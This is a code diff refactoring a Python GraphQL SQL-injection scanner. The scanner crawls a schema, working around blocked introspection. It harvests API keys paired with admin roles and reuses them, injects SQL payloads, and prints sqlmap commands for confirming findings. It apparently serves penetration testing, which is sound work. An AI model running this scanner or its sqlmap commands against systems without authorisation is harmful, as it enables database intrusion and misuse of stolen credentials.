_build_type_map(types) extracted_values: Dict[str, Set[str]] = {} key_roles: Dict[str, str] = {} requests_made = 0 @@ -360,11 +333,9 @@ def collect(obj: Any, prefix: Optional[str] = None): fname = field.get("name") if not fname or fname.startswith("__"): continue - args = field.get("args") or [] - if args: + if field.get("args"): continue - qlist = seed_field_queries(field, types, page_sizes, max_items_per_list) - for q in qlist: + for q in seed_field_queries(field, type_map, page_sizes, max_items_per_list): if requests_made >= max_requests: break if verbose: @@ -374,22 +345,11 @@ def collect(obj: Any, prefix: Optional[str] = None): rdata = get_field_from_response(resp.get("data"), fname) if rdata: collect(rdata) - if isinstance(rdata, list): - for it in rdata[:max_items_per_list]: - if isinstance(it, dict): - key = it.get("key") or it.get("apiKey") or it.get("token") - role = it.get("role") - if key and role: - key_roles[key] = role - elif isinstance(rdata, dict): - key = rdata.get("key") or rdata.get("apiKey") or rdata.get("token") - role = rdata.get("role") - if key and role: - key_roles[key] = role + _collect_key_roles(rdata, key_roles, max_items_per_list) if delay and requests_made < max_requests: time.sleep(delay) - # decode base64/global IDs to numeric ids + # Decode base64 / Relay global IDs to surface numeric IDs added_decoded = 0 for key, vals in list(extracted_values.items()): for v in list(vals)[:200]: @@ -402,17 +362,15 @@ def collect(obj: Any, prefix: Optional[str] = None): if added_decoded: print(Fore.GREEN + f"[+] Decoded {added_decoded} global/base64 id(s)") - # follow-up BFS using id-like args + # BFS: follow fields that accept id-like args using the extracted IDs depth = 0 while depth < max_depth and requests_made < max_requests: progress = False - id_candidates: List[str] = [] - if "id" in extracted_values: - id_candidates.extend(list(extracted_values["id"])) + id_candidates: List[str] = list(extracted_values.get("id", [])) for k in list(extracted_values.keys()): if k.lower().endswith("id") and k.lower() != "id": id_candidates.extend(list(extracted_values[k])[:50]) - for k, vals in extracted_values.items(): + for vals in extracted_values.values(): for v in list(vals)[:50]: if try_decode_global_id(v): id_candidates.append(v) @@ -432,19 +390,14 @@ def collect(obj: Any, prefix: Optional[str] = None): continue candidates_per_arg = [] for an in id_arg_names: - vals = list(extracted_values.get(an, []))[:6] - if not vals: - vals = id_candidates[:6] - if not vals: - vals = ["1"] + vals = list(extracted_values.get(an, []))[:6] or id_candidates[:6] or ["1"] candidates_per_arg.append(vals) combos = [] for prod in product(*candidates_per_arg): args_dict = {id_arg_names[i]: prod[i] for i in range(len(id_arg_names))} ahash = hashlib.sha1(json.dumps({"f": fname, "args": args_dict}, sort_keys=True).encode()).hexdigest() - if (fname, ahash) in visited: - continue - combos.append((args_dict, ahash)) + if (fname, ahash) not in visited: + combos.append((args_dict, ahash)) if len(combos) >= 6: break for args_dict, ahash in combos: @@ -452,12 +405,11 @@ def collect(obj: Any, prefix: Optional[str] = None): break visited.add((fname, ahash)) return_type_name = extract_named_type(field.get("type")) - ret_def = find_type_definition(types, return_type_name) + ret_def = type_map.get(return_type_name) sel = None if ret_def and ret_def.get("fields"): - sel = pick_scalar_field_for_type(ret_def, types) or (ret_def.get("fields")[0].get("name")) - q = build_query(fname, args_dict, sel) - q_str = q.get("query") if isinstance(q, dict) else str(q) + sel = pick_scalar_field_for_type(ret_def, type_map) or ret_def["fields"][0].get("name") + q_str = (build_query(fname, args_dict, sel) or {}).get("query", "") if verbose: print(Fore.BLUE + "[>] Follow query: " + truncate_str(q_str, 800)) resp = post_graphql(endpoint, headers, {"query": q_str}, verbose=verbose) @@ -466,22 +418,12 @@ def collect(obj: Any, prefix: Optional[str] = None): rdata = get_field_from_response(resp.get("data"), fname) if rdata: collect(rdata) - if isinstance(rdata, list): - for it in rdata[:max_items_per_list]: - if isinstance(it, dict): - key = it.get("key") or it.get("apiKey") or it.get("token") - role = it.get("role") - if key and role: - key_roles[key] = role - elif isinstance(rdata, dict): - key = rdata.get("key") or rdata.get("apiKey") or rdata.get("token") - role = rdata.get("role") - if key and role: - key_roles[key] = role + _collect_key_roles(rdata, key_roles, max_items_per_list) if delay and requests_made < max_requests: time.sleep(delay) if not progress: break + new_decoded = 0 for key, vals in list(extracted_values.items()): for v in list(vals)[:200]: @@ -537,99 +479,72 @@ def group_findings_by_param(findings: List[Dict[str, Any]], endpoint: str) -> Di }) for param, data in list(grouped.items()): occs = [] - all_payloads = set() + all_payloads: Set = set() max_conf = 0.0 - for k, v in data["occurrences"].items(): + for v in data["occurrences"].values(): occs.append(v) for fin in v.get("findings", []): all_payloads.add(fin.get("payload")) if fin.get("confidence", 0) > max_conf: max_conf = fin.get("confidence", 0) - severity = "high" if max_conf >= 0.9 else "low" data["occurrences"] = occs data["aggregate"] = { "unique_payloads": len(all_payloads), "total_evidences": sum(len(o.get("findings", [])) for o in occs), "max_confidence": max_conf, "fields_affected": len(occs), - "severity": severity, + "severity": "high" if max_conf >= 0.9 else "low", "notes": "" } return grouped def print_grouped_summary(grouped: Dict[str, Any]): - """ - Left-aligned compact printing: - - header: [n] (param in red; no occurrence line) - - Slight indentation for Payload / Evidence lines. - - Payload label in yellow, Evidence label in blue. - - Recommended sqlmap command label in magenta, printed with NO extra indentation. - """ if not grouped: return - params = sorted(grouped.items(), key=lambda kv: (0 if kv[1].get("aggregate", {}).get("severity") == "high" else 1, kv[0])) print(Fore.MAGENTA + "\n[*] Findings grouped by vulnerable parameter:\n") - for idx, (param, data) in enumerate(params, start=1): - # header left aligned, param in red print(f"[{idx}] {Fore.RED}{param}{Style.RESET_ALL}") - for occ in data.get("occurrences", []): - # omit printing " @ (context args: ...)" - for fin in occ.get("findings", []): payload = fin.get("payload") payload_display = payload if payload is not None else json.dumps(fin.get("args_used") or {}, ensure_ascii=False) - # slight indent for payload/evidence print(" " + Fore.YELLOW + "Payload: " + Style.RESET_ALL + f"{payload_display}") - evidence = fin.get("evidence") or "" cleaned = re.sub(r"\s+", " ", evidence).strip() cleaned = re.sub(r"\[SQL: .*", "[SQL TRACE]", cleaned, flags=re.S) if len(cleaned) > EVIDENCE_MAX_CHARS: cleaned = cleaned[:EVIDENCE_MAX_CHARS - 3].rstrip() + "..." if re.search(r"\[SQL TRACE\]", evidence, flags=re.I) and "[SQL TRACE]" not in cleaned: - cleaned = cleaned + " [SQL TRACE]" + cleaned += " [SQL TRACE]" print(" " + Fore.BLUE + "Evidence: " + Style.RESET_ALL + cleaned) - print("") # blank line between findings - - # Recommended sqlmap command label in magenta, no indentation - first_repro = None - first_cmd = None - for fin in occ.get("findings", []): - if fin.get("repro"): - first_repro = fin.get("repro") - first_cmd = fin.get("recommended_cmd") or _build_sqlmap_cmd_marker(first_repro) - break + print("") + first_repro = next((fin.get("repro") for fin in occ.get("findings", []) if fin.get("repro")), None) if first_repro: + cmd = _build_sqlmap_cmd_marker(first_repro) print(Fore.MAGENTA + "Recommended sqlmap command:" + Style.RESET_ALL) - print(Fore.MAGENTA + f"{first_cmd}" + Style.RESET_ALL) - print("") # blank line between occurrences + print(Fore.MAGENTA + f"{cmd}" + Style.RESET_ALL) + print("") # -------------------- Detection flow (markers, checks) --------------------- def _canonical_marker_key(endpoint: str, field: str, arg: str, context_args: Dict[str, Any]) -> str: - parts = [endpoint, field, arg] arg_names = sorted(list(context_args.keys())) if isinstance(context_args, dict) else [] - parts.append(",".join(arg_names)) - return "|".join(parts) + return "|".join([endpoint, field, arg, ",".join(arg_names)]) def write_or_update_marker(endpoint: str, headers: Dict[str, str], attack_query: str, - field: str, arg: str, payload: str, - context_args: Dict[str, Any], - evidence_type: Optional[str], evidence_text: Optional[str]) -> str: - try: - escaped_payload = json.dumps(payload) - except Exception: - escaped_payload = payload + field: str, arg: str, payload: str, + context_args: Dict[str, Any], + evidence_type: Optional[str], evidence_text: Optional[str]) -> str: + escaped_payload = json.dumps(payload) escaped_marker = json.dumps("*") if escaped_payload in attack_query: marker_query = attack_query.replace(escaped_payload, escaped_marker, 1) elif payload in attack_query: + # Payload appears unescaped — replace directly marker_query = attack_query.replace(payload, "*", 1) else: - marker_query = attack_query.replace("\\" + payload, escaped_marker, 1) + marker_query = attack_query # Fallback: couldn't locate payload; keep as-is canonical = _canonical_marker_key(endpoint, field, arg, context_args or {}) short_hash = hashlib.sha1(canonical.encode("utf-8")).hexdigest()[:8] @@ -640,8 +555,7 @@ def write_or_update_marker(endpoint: str, headers: Dict[str, str], attack_query: marker_path = repro_dir / filename if not marker_path.exists(): - body = {"query": marker_query} - _write_raw_http(endpoint, headers, body, filename) + _write_raw_http(endpoint, headers, {"query": marker_query}, filename) idx = _read_index() entry = idx.get(filename) or { @@ -654,7 +568,7 @@ def write_or_update_marker(endpoint: str, headers: Dict[str, str], attack_query: ts = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ") repro_rel = str(marker_path) - recommended_cmd = f"sqlmap --level 5 --risk 3 -r '{repro_rel}' -p \"JSON[query]\" --batch --skip-urlencode --random-agent" + recommended_cmd = _build_sqlmap_cmd_marker(repro_rel) evidence_record = { "payload": payload, @@ -665,34 +579,46 @@ def write_or_update_marker(endpoint: str, headers: Dict[str, str], attack_query: "recommended_cmd": recommended_cmd } - exists = any(e.get("payload") == payload and e.get("evidence") == evidence_text for e in entry.get("evidences", [])) - if not exists: + if not any(e.get("payload") == payload and e.get("evidence") == evidence_text for e in entry.get("evidences", [])): entry.setdefault("evidences", []).append(evidence_record) idx[filename] = entry _write_index(idx) return str(marker_path) def _build_sqlmap_cmd_marker(repro_marker_path: str) -> str: - return f"sqlmap --level 5 --risk 3 -r '{repro_marker_path}' -p \"JSON[query]\" --batch --skip-urlencode --parse-errors --random-agent" + return (f"sqlmap --level 5 --risk 3 -r '{repro_marker_path}' " + f"-p \"JSON[query]\" --batch --skip-urlencode --parse-errors --random-agent") def check_sql_error_in_response(resp_data: Dict[str, Any]) -> Optional[Dict[str, str]]: + """Check for SQL error signatures in the GraphQL errors array and in data string values. + + Some backends leak SQL errors inside the data payload rather than the errors array. + """ if not resp_data: return None - errors = resp_data.get("errors") - if not errors: - return None - for e in errors: + + # Primary: GraphQL errors array + for e in (resp_data.get("errors") or []): msg = str(e.get("message", "")) for rx in SQL_ERROR_SIGS: if rx.search(msg): return {"evidence": msg, "pattern": rx.pattern} + + # Secondary: string values in the data field + data = resp_data.get("data") + if isinstance(data, dict): + for v in data.values(): + if isinstance(v, str): + for rx in SQL_ERROR_SIGS: + if rx.search(v): + return {"evidence": v, "pattern": rx.pattern} + return None def detect_missing_required_arg(resp_data: Dict[str, Any]) -> Optional[str]: if not resp_data: return None - errors = resp_data.get("errors") or [] - for e in errors: + for e in (resp_data.get("errors") or []): msg = str(e.get("message", "")) m = re.search(r'argument\s+"([^"]+)"[^.]*required but not provided', msg, re.I) if m: @@ -702,8 +628,7 @@ def detect_missing_required_arg(resp_data: Dict[str, Any]) -> Optional[str]: def detect_graphql_syntax_error(resp_data: Dict[str, Any]) -> Optional[str]: if not resp_data: return None - errors = resp_data.get("errors") or [] - for e in errors: + for e in (resp_data.get("errors") or []): msg = str(e.get("message", "")) if re.search(r"Syntax Error GraphQL|Syntax Error|Unexpected character|Expected :, found", msg, re.I): return msg @@ -719,13 +644,8 @@ def compute_confidence(evidence_type: str, payload: str, has_repro: bool) -> flo "NULL_ON_ATTACK": 0.15, } base = weights.get(evidence_type, 0.1) - payload_bonus = 0.0 - if payload and re.search(r"(\bOR\b|\bUNION\b|--|/\*|')", payload, re.I): - payload_bonus = 0.1 - repro_bonus = 0.15 if has_repro else 0.0 - score = base + payload_bonus + repro_bonus - if score > 0.99: - score = 0.99 + payload_bonus = 0.1 if payload and re.search(r"(\bOR\b|\bUNION\b|--|/\*|')", payload, re.I) else 0.0 + score = min(base + payload_bonus + (0.15 if has_repro else 0.0), 0.99) return round(score, 2) # -------------------- Main detection logic -------------------------------- @@ -735,32 +655,44 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, crawl_delay: float = 0.0, verbose: bool = False) -> List[Dict[str, Any]]: print(Fore.CYAN + f"[*] Running introspection on {endpoint}") - intros = post_graphql(endpoint, headers, {"query": INTROSPECTION_QUERY}, verbose=verbose) - schema = None - try: - schema = intros["data"]["data"]["__schema"] - except Exception: - print(Fore.RED + "[!] Failed to retrieve schema via introspection. Response:") - print(json.dumps(intros.get("data", {}), ensure_ascii=False, indent=2)) + + # Use core introspection with automatic newline-bypass fallback + _intro_headers = {"Content-Type": "application/json"} + _intro_headers.update(headers or {}) + intro_data, strategy = core_intro.fetch_with_bypass(endpoint, _intro_headers, TIMEOUT) + if intro_data is None: + print(Fore.RED + "[!] Failed to retrieve schema via introspection.") return [] + if strategy == "bypass": + print(Fore.YELLOW + "[!] Introspection obtained via newline bypass (standard query was blocked).") + + schema = core_intro.extract_schema(intro_data) + if not schema: + print(Fore.RED + "[!] Could not extract '__schema' from introspection response.") + return [] + + types: List[Dict[str, Any]] = schema.get("types") or [] + type_map = _build_type_map(types) - types = schema.get("types", []) - query_type = next((t for t in types if t.get("name") == "Query"), None) + # Resolve the actual query type name — don't assume it's called "Query" + query_type_name = (schema.get("queryType") or {}).get("name") or "Query" + query_type = type_map.get(query_type_name) if not query_type or not query_type.get("fields"): - print(Fore.RED + "[!] Query type or fields not found in schema.") + print(Fore.RED + f"[!] Query type '{query_type_name}' not found in schema or has no fields.") return [] - query_fields = query_type.get("fields", []) + query_fields: List[Dict[str, Any]] = query_type.get("fields", []) - if crawl: - extracted_values, key_roles = crawl_and_extract_values( - endpoint, headers, query_fields, types, - max_depth=crawl_depth, max_requests=max_requests, - max_items_per_list=max_items, delay=crawl_delay, verbose=verbose) - else: - extracted_values, key_roles = crawl_and_extract_values( - endpoint, headers, query_fields, types, - max_depth=1, max_requests=50, max_items_per_list=max_items, delay=crawl_delay, verbose=verbose) + crawl_params = dict( + max_depth=crawl_depth if crawl else 1, + max_requests=max_requests if crawl else 50, + max_items_per_list=max_items, + delay=crawl_delay, + verbose=verbose, + ) + extracted_values, key_roles = crawl_and_extract_values( + endpoint, headers, query_fields, types, **crawl_params + ) admin_keys = [k for k, r in key_roles.items() if isinstance(r, str) and 'admin' in r.lower()] if admin_keys: @@ -769,26 +701,25 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, temp_findings: Dict[Tuple[str, str], List[Dict[str, Any]]] = {} for field in query_fields: - args = field.get("args", []) or [] + args = field.get("args") or [] if not args: continue field_name = field.get("name") if not field_name or field_name.startswith("__"): continue - string_args = [] - for arg in args: - arg_type_name = extract_named_type(arg.get("type")) - if is_string_type(arg_type_name): - string_args.append(arg) + string_args = [a for a in args if is_string_type(extract_named_type(a.get("type")))] if not string_args: continue return_type_name = extract_named_type(field.get("type")) - return_type_def = find_type_definition(types, return_type_name) - selection = pick_scalar_field_for_type(return_type_def, types) + return_type_def = type_map.get(return_type_name) + selection = pick_scalar_field_for_type(return_type_def, type_map) if not selection and return_type_def and return_type_def.get("fields"): - fallback = next((f for f in return_type_def["fields"] if f["name"] in ("id", "uuid", "username", "name", "title", "__typename")), None) + fallback = next( + (f for f in return_type_def["fields"] if f["name"] in ("id", "uuid", "username", "name", "title", "__typename")), + None + ) if fallback: selection = fallback["name"] if not selection: @@ -799,7 +730,7 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, an = arg.get("name") ev = list(extracted_values.get(an, []))[:8] if an and any(k in an.lower() for k in ("key", "apikey", "token")) and admin_keys: - deduped = [] + deduped: List[str] = [] for k in admin_keys: if k not in deduped: deduped.append(k) @@ -811,33 +742,26 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, print(Fore.YELLOW + f"[>] Using prioritized admin keys for argument '{an}': {ev[:3]}") if not ev: ev = simple_name_match_values(an, extracted_values) - if ev: - base_values[an] = ev - else: - arg_type_name = extract_named_type(arg.get("type")) - base_values[an] = ["test", "admin", "test123"] if is_string_type(arg_type_name) else ["1", "100"] + base_values[an] = ev if ev else ( + ["test", "admin", "test123"] if is_string_type(extract_named_type(arg.get("type"))) else ["1", "100"] + ) for target_arg in string_args: target_arg_name = target_arg.get("name") other_args = [a.get("name") for a in args if a.get("name") != target_arg_name] - candidate_lists = [] - for oname in other_args: - vals = base_values.get(oname, ["test"]) - candidate_lists.append(sorted(vals, key=lambda x: len(str(x)), reverse=True)[:3]) + candidate_lists = [ + sorted(base_values.get(oname, ["test"]), key=lambda x: len(str(x)), reverse=True)[:3] + for oname in other_args + ] combos_to_try: List[Dict[str, str]] = [] if candidate_lists: - max_attempts = 6 - seen = 0 for combo in product(*candidate_lists): - args_dict = {} - for idx, oname in enumerate(other_args): - args_dict[oname] = combo[idx] + args_dict = {other_args[i]: combo[i] for i in range(len(other_args))} args_dict[target_arg_name] = "test" combos_to_try.append(args_dict) - seen += 1 - if seen >= max_attempts: + if len(combos_to_try) >= 6: break else: combos_to_try.append({target_arg_name: "test"}) @@ -847,8 +771,7 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, base_norm = None base_has_error = True for attempt_args in combos_to_try: - base_payload = build_query(field_name, attempt_args, selection) - base_q = base_payload.get("query") if isinstance(base_payload, dict) else str(base_payload) + base_q = build_query(field_name, attempt_args, selection).get("query", "") base_resp = post_graphql(endpoint, headers, {"query": base_q}, verbose=verbose) base_norm = normalize_resp(base_resp.get("data")) base_has_error = bool(base_resp.get("data", {}).get("errors")) @@ -861,17 +784,18 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, working_args = combos_to_try[0].copy() if combos_to_try else {target_arg_name: "test"} print(Fore.YELLOW + Style.DIM + f"[!] No clean baseline found for {field_name}.{target_arg_name}, using best-effort baseline: {working_args}") - simple_q_base = build_query(field_name, {**working_args, target_arg_name: "test"}, "__typename") - simple_q_str = simple_q_base.get("query") if isinstance(simple_q_base, dict) else str(simple_q_base) - simple_base_resp = post_graphql(endpoint, headers, {"query": simple_q_str}, verbose=verbose) + simple_q_base_str = build_query(field_name, {**working_args, target_arg_name: "test"}, "__typename").get("query", "") + simple_base_resp = post_graphql(endpoint, headers, {"query": simple_q_base_str}, verbose=verbose) simple_base_norm = normalize_resp(simple_base_resp.get("data")) simple_field_value = get_field_from_response(simple_base_resp.get("data"), field_name) + key = (field_name, target_arg_name) + temp_findings.setdefault(key, []) + + # --- Primary payload loop (with working context args) --- for payload in PAYLOADS: - attack_args = working_args.copy() - attack_args[target_arg_name] = payload - attack_payload = build_query(field_name, attack_args, selection) - attack_q_str = attack_payload.get("query") if isinstance(attack_payload, dict) else str(attack_payload) + attack_args = {**working_args, target_arg_name: payload} + attack_q_str = build_query(field_name, attack_args, selection).get("query", "") attack_resp = post_graphql(endpoint, headers, {"query": attack_q_str}, verbose=verbose) if detect_graphql_syntax_error(attack_resp.get("data")): @@ -879,17 +803,11 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, missing_arg = detect_missing_required_arg(attack_resp.get("data")) if missing_arg: - candidate = None - if base_values.get(missing_arg): - candidate = base_values[missing_arg][0] - else: - matches = simple_name_match_values(missing_arg, extracted_values) - if matches: - candidate = matches[0] + candidate = (base_values.get(missing_arg) or [None])[0] or \ + (simple_name_match_values(missing_arg, extracted_values) or [None])[0] if candidate: attack_args[missing_arg] = candidate - attack_payload = build_query(field_name, attack_args, selection) - attack_q_str = attack_payload.get("query") if isinstance(attack_payload, dict) else str(attack_payload) + attack_q_str = build_query(field_name, attack_args, selection).get("query", "") attack_resp = post_graphql(endpoint, headers, {"query": attack_q_str}, verbose=verbose) if detect_graphql_syntax_error(attack_resp.get("data")): continue @@ -899,25 +817,18 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, sql_err = check_sql_error_in_response(attack_resp.get("data")) attack_norm = normalize_resp(attack_resp.get("data")) - key = (field_name, target_arg_name) - temp_findings.setdefault(key, []) - if sql_err: marker_path = write_or_update_marker( endpoint, headers, attack_q_str, field_name, target_arg_name, payload, {k: v for k, v in attack_args.items() if k != target_arg_name}, "SQL_ERROR", sql_err.get("evidence")) - cmd = _build_sqlmap_cmd_marker(marker_path) temp_findings[key].append({ - "field": field_name, - "arg": target_arg_name, - "payload": payload, - "args_used": attack_args.copy(), - "type": "SQL_ERROR", + "field": field_name, "arg": target_arg_name, "payload": payload, + "args_used": attack_args.copy(), "type": "SQL_ERROR", "evidence": sql_err["evidence"], "base_response": base_resp.get("data") if base_resp else None, "attack_response": attack_resp.get("data"), - "recommended_cmd": cmd, + "recommended_cmd": _build_sqlmap_cmd_marker(marker_path), "repro": marker_path, }) continue @@ -927,37 +838,32 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, endpoint, headers, attack_q_str, field_name, target_arg_name, payload, {k: v for k, v in attack_args.items() if k != target_arg_name}, "RESPONSE_DIFF", "Baseline != Attack") - cmd = _build_sqlmap_cmd_marker(marker_path) temp_findings[key].append({ - "field": field_name, - "arg": target_arg_name, - "payload": payload, - "args_used": attack_args.copy(), - "type": "RESPONSE_DIFF", + "field": field_name, "arg": target_arg_name, "payload": payload, + "args_used": attack_args.copy(), "type": "RESPONSE_DIFF", "evidence": "Baseline != Attack", "base_response": base_resp.get("data") if base_resp else None, "attack_response": attack_resp.get("data"), - "recommended_cmd": cmd, + "recommended_cmd": _build_sqlmap_cmd_marker(marker_path), "repro": marker_path, }) continue - if base_norm and attack_norm and ("null" in attack_norm) and ("null" not in base_norm): + # Compare actual field values, not JSON-serialized strings + base_field_val = get_field_from_response(base_resp.get("data") if base_resp else None, field_name) + attack_field_val = get_field_from_response(attack_resp.get("data"), field_name) + if base_field_val not in (None, {}, []) and attack_field_val in (None, {}, []) and not base_has_error: marker_path = write_or_update_marker( endpoint, headers, attack_q_str, field_name, target_arg_name, payload, {k: v for k, v in attack_args.items() if k != target_arg_name}, "NULL_ON_ATTACK", "Null returned on attack while baseline had data") - cmd = _build_sqlmap_cmd_marker(marker_path) temp_findings[key].append({ - "field": field_name, - "arg": target_arg_name, - "payload": payload, - "args_used": attack_args.copy(), - "type": "NULL_ON_ATTACK", + "field": field_name, "arg": target_arg_name, "payload": payload, + "args_used": attack_args.copy(), "type": "NULL_ON_ATTACK", "evidence": "Null returned on attack while baseline had data", "base_response": base_resp.get("data") if base_resp else None, "attack_response": attack_resp.get("data"), - "recommended_cmd": cmd, + "recommended_cmd": _build_sqlmap_cmd_marker(marker_path), "repro": marker_path, }) continue @@ -967,143 +873,118 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, endpoint, headers, attack_q_str, field_name, target_arg_name, payload, {k: v for k, v in attack_args.items() if k != target_arg_name}, "RESPONSE_DIFF_SIMPLE", "Simple baseline __typename differs from attack") - cmd = _build_sqlmap_cmd_marker(marker_path) temp_findings[key].append({ - "field": field_name, - "arg": target_arg_name, - "payload": payload, - "args_used": attack_args.copy(), - "type": "RESPONSE_DIFF_SIMPLE", + "field": field_name, "arg": target_arg_name, "payload": payload, + "args_used": attack_args.copy(), "type": "RESPONSE_DIFF_SIMPLE", "evidence": "Simple baseline __typename differs from attack", "base_response": simple_base_resp.get("data"), "attack_response": attack_resp.get("data"), - "recommended_cmd": cmd, + "recommended_cmd": _build_sqlmap_cmd_marker(marker_path), "repro": marker_path, }) continue - # fallback simple checks - for payload in PAYLOADS: - simple_attack_q = build_query(field_name, {target_arg_name: payload}, "__typename") - simple_q_str = simple_attack_q.get("query") if isinstance(simple_attack_q, dict) else str(simple_attack_q) - simple_atk_resp = post_graphql(endpoint, headers, {"query": simple_q_str}, verbose=verbose) + # --- Fallback simple loop (target arg only, __typename selection) --- + # Skip if the primary loop already produced SQL error evidence — no benefit. + _already_has_sql_err = any(i.get("type", "").startswith("SQL_ERROR") for i in temp_findings[key]) + if not _already_has_sql_err: + for payload in PAYLOADS: + simple_atk_args = {target_arg_name: payload} + simple_atk_q_str = build_query(field_name, simple_atk_args, "__typename").get("query", "") + simple_atk_resp = post_graphql(endpoint, headers, {"query": simple_atk_q_str}, verbose=verbose) + + missing_arg = detect_missing_required_arg(simple_atk_resp.get("data")) + if missing_arg: + candidate = (base_values.get(missing_arg) or [None])[0] or \ + (simple_name_match_values(missing_arg, extracted_values) or [None])[0] + if candidate: + simple_atk_args[missing_arg] = candidate + simple_atk_q_str = build_query(field_name, simple_atk_args, "__typename").get("query", "") + simple_atk_resp = post_graphql(endpoint, headers, {"query": simple_atk_q_str}, verbose=verbose) + else: + continue - missing_arg = detect_missing_required_arg(simple_atk_resp.get("data")) - if missing_arg: - candidate = None - if base_values.get(missing_arg): - candidate = base_values[missing_arg][0] - else: - matches = simple_name_match_values(missing_arg, extracted_values) - if matches: - candidate = matches[0] - if candidate: - simple_attack_q = build_query(field_name, {target_arg_name: payload, missing_arg: candidate}, "__typename") - simple_q_str = simple_attack_q.get("query") if isinstance(simple_attack_q, dict) else str(simple_attack_q) - simple_atk_resp = post_graphql(endpoint, headers, {"query": simple_q_str}, verbose=verbose) - else: + if detect_graphql_syntax_error(simple_atk_resp.get("data")): continue - if detect_graphql_syntax_error(simple_atk_resp.get("data")): - continue - - sa_norm = normalize_resp(simple_atk_resp.get("data")) - sa_err = check_sql_error_in_response(simple_atk_resp.get("data")) - - key = (field_name, target_arg_name) - temp_findings.setdefault(key, []) - - if sa_err: - marker_path = write_or_update_marker( - endpoint, headers, simple_q_str, field_name, target_arg_name, payload, {}, "SQL_ERROR", sa_err.get("evidence")) - cmd = _build_sqlmap_cmd_marker(marker_path) - temp_findings[key].append({ - "field": field_name, - "arg": target_arg_name, - "payload": payload, - "args_used": {target_arg_name: payload}, - "type": "SQL_ERROR_IN_RESPONSE_SIMPLE", - "evidence": sa_err["evidence"], - "base_response": simple_base_resp.get("data"), - "attack_response": simple_atk_resp.get("data"), - "recommended_cmd": cmd, - "repro": marker_path, - }) - break + sa_norm = normalize_resp(simple_atk_resp.get("data")) + sa_err = check_sql_error_in_response(simple_atk_resp.get("data")) + + if sa_err: + marker_path = write_or_update_marker( + endpoint, headers, simple_atk_q_str, field_name, target_arg_name, + payload, {}, "SQL_ERROR", sa_err.get("evidence")) + temp_findings[key].append({ + "field": field_name, "arg": target_arg_name, "payload": payload, + "args_used": {target_arg_name: payload}, + "type": "SQL_ERROR_IN_RESPONSE_SIMPLE", + "evidence": sa_err["evidence"], + "base_response": simple_base_resp.get("data"), + "attack_response": simple_atk_resp.get("data"), + "recommended_cmd": _build_sqlmap_cmd_marker(marker_path), + "repro": marker_path, + }) + break - if simple_field_value not in (None, {}, []) and simple_base_norm and sa_norm and simple_base_norm != sa_norm: - marker_path = write_or_update_marker( - endpoint, headers, simple_q_str, field_name, target_arg_name, payload, {}, "RESPONSE_DIFF_SIMPLE", "Simple baseline __typename differs from attack") - cmd = _build_sqlmap_cmd_marker(marker_path) - temp_findings[key].append({ - "field": field_name, - "arg": target_arg_name, - "payload": payload, - "args_used": {target_arg_name: payload}, - "type": "RESPONSE_DIFF_SIMPLE", - "evidence": "Simple baseline __typename differs from attack", - "base_response": simple_base_resp.get("data"), - "attack_response": simple_atk_resp.get("data"), - "recommended_cmd": cmd, - "repro": marker_path, - }) - break + if simple_field_value not in (None, {}, []) and simple_base_norm and sa_norm and simple_base_norm != sa_norm: + marker_path = write_or_update_marker( + endpoint, headers, simple_atk_q_str, field_name, target_arg_name, + payload, {}, "RESPONSE_DIFF_SIMPLE", + "Simple baseline __typename differs from attack") + temp_findings[key].append({ + "field": field_name, "arg": target_arg_name, "payload": payload, + "args_used": {target_arg_name: payload}, + "type": "RESPONSE_DIFF_SIMPLE", + "evidence": "Simple baseline __typename differs from attack", + "base_response": simple_base_resp.get("data"), + "attack_response": simple_atk_resp.get("data"), + "recommended_cmd": _build_sqlmap_cmd_marker(marker_path), + "repro": marker_path, + }) + break - # finalize with confirmation rules + # --- Confirmation rules (reduce false positives before returning) --- final_findings: List[Dict[str, Any]] = [] for (field_name, arg_name), items in temp_findings.items(): + # Discard if every attack response returned null AND there are no SQL errors all_attack_null = True for it in items: atk = it.get("attack_response") + val = None if isinstance(atk, dict): - val = None try: - if isinstance(atk.get("data"), dict): - val = atk.get("data", {}).get(field_name) - else: - val = atk.get(field_name) + val = (atk.get("data") or {}).get(field_name) if isinstance(atk.get("data"), dict) else atk.get(field_name) except Exception: - val = None - if val not in (None, {}, []): - all_attack_null = False - break - else: + pass + if val not in (None, {}, []): + all_attack_null = False + break + elif not isinstance(atk, dict): all_attack_null = False break if all_attack_null and not any(i.get("type", "").startswith("SQL_ERROR") for i in items): continue - types_present = set(i.get("type") for i in items) - payloads_present = set(i.get("payload") for i in items) + types_present = {i.get("type") for i in items} + payloads_present = {i.get("payload") for i in items} has_sql_err = any(i.get("type", "").startswith("SQL_ERROR") for i in items) - has_null_on_attack = any(i.get("type") == "NULL_ON_ATTACK" for i in items) + has_null = any(i.get("type") == "NULL_ON_ATTACK" for i in items) if has_sql_err: - for i in items: - if i.get("type", "").startswith("SQL_ERROR"): - final_findings.append(i) - continue - - if len(payloads_present) >= 2: - seen_payloads = set() + final_findings.extend(i for i in items if i.get("type", "").startswith("SQL_ERROR")) + elif len(payloads_present) >= 2: + seen_p: Set = set() for i in items: p = i.get("payload") - if p not in seen_payloads: - final_findings.append(i) - seen_payloads.add(p) - continue - - if has_null_on_attack: - for i in items: - if i.get("type") == "NULL_ON_ATTACK": + if p not in seen_p: final_findings.append(i) - continue - - if "RESPONSE_DIFF" in types_present and "RESPONSE_DIFF_SIMPLE" in types_present: + seen_p.add(p) + elif has_null: + final_findings.extend(i for i in items if i.get("type") == "NULL_ON_ATTACK") + elif "RESPONSE_DIFF" in types_present and "RESPONSE_DIFF_SIMPLE" in types_present: rep = next((i for i in items if i.get("type") in ("RESPONSE_DIFF", "RESPONSE_DIFF_SIMPLE")), None) if rep: final_findings.append(rep) - continue return final_findings @@ -1138,7 +1019,6 @@ def main(): help="Print queries and debug information") args = parser.parse_args() - # Validate numeric args if args.crawl_depth < 1: print("[!] 